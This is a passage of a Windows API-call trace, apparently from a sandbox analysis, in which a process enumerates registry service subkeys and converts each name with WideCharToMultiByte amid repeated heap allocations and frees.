out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.261] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0251.261] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0251.262] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.262] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.263] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0251.263] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0251.264] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.264] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0251.265] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.265] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, 